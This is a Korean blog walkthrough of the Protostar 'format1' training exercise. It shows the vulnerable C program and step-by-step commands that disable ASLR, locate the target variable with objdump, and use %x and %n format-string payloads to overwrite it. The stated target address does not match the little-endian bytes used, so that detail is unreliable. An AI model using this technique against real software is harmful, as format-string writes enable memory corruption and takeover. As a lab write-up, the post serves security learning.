format1.c
int target; void vuln(char *string) { printf(string); if(target) { printf("you have modified the target :)\n"); } } int main(int argc, char **argv) { vuln(argv[1]); }
출처: http://liveoverflow.com/binary_hacking/protostar/format1.html
1. 문제 해결 및 분석
1-0. 포맷 스트링 위치
printf에서 포맷 스트링 버그를 발생시키면 된다.
즉
%x를 통해 스택에 있는 주소를 가져와서 argument까지 접근한다.
%x를 반복하면 argument까지 올 수 있으므로 argument에 target 주소를 넣고 %n을 통하여 target을 변경한다.
1-1. objdump -t ./format1
우선 aslr disable
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
이런 식으로 쭉 나온다. 하지만 target의 위치를 찾기엔 불편함이 있다.
그래서
objdump -t ./format | grep target
하면 target의 주소가 나온다.
gdb로도 확인 가능하다.
1-2. ./format1
./format1 $(python -c "print 'AAAA' + '%x.'* 154")
./format1 $(python -c "print 'AAAA' + '%x.'* 155")
./format1 $(python -c "print 'AAAA' + '%x.'* 156")
늘리거나 줄이면서
'AAAA'가 들어간 위치를 확인하다.
A는 아스키코드로 41이므로 41414141이 들어간 위치를 확인하면 된다.
./format1 $(python -c "print 'AAAA' + '%x.'* 156")
'AAAA' 다음이 target의 주소이므로 앞서 구한 target의 주소를 리틀 앤디안 방식으로 추가해준다.
./format1 $(python -c "print 'AAAA' + '\x38\x96\x04\x08' + '%x.'* 156")
41414141 이후에 target의 주소 0x08048638 잘 들어갔다.
1-4. 덮어쓰기
41414141 이후에 target을 변경하면 되므로
target 위치에 %n을 사용하면 된다.
성공!
피드백 환영입니다!
'프로토스타' 카테고리의 다른 글
[프로토스타] format3 (0) | 2019.01.23 |
---|---|
[프로토스타] format2 (0) | 2019.01.22 |
[프로토스타] format0 (0) | 2019.01.18 |
[프로토스타] stack7-2 (ROP) (0) | 2019.01.18 |
[프로토스타] stack7-1 (jmp call) (0) | 2019.01.15 |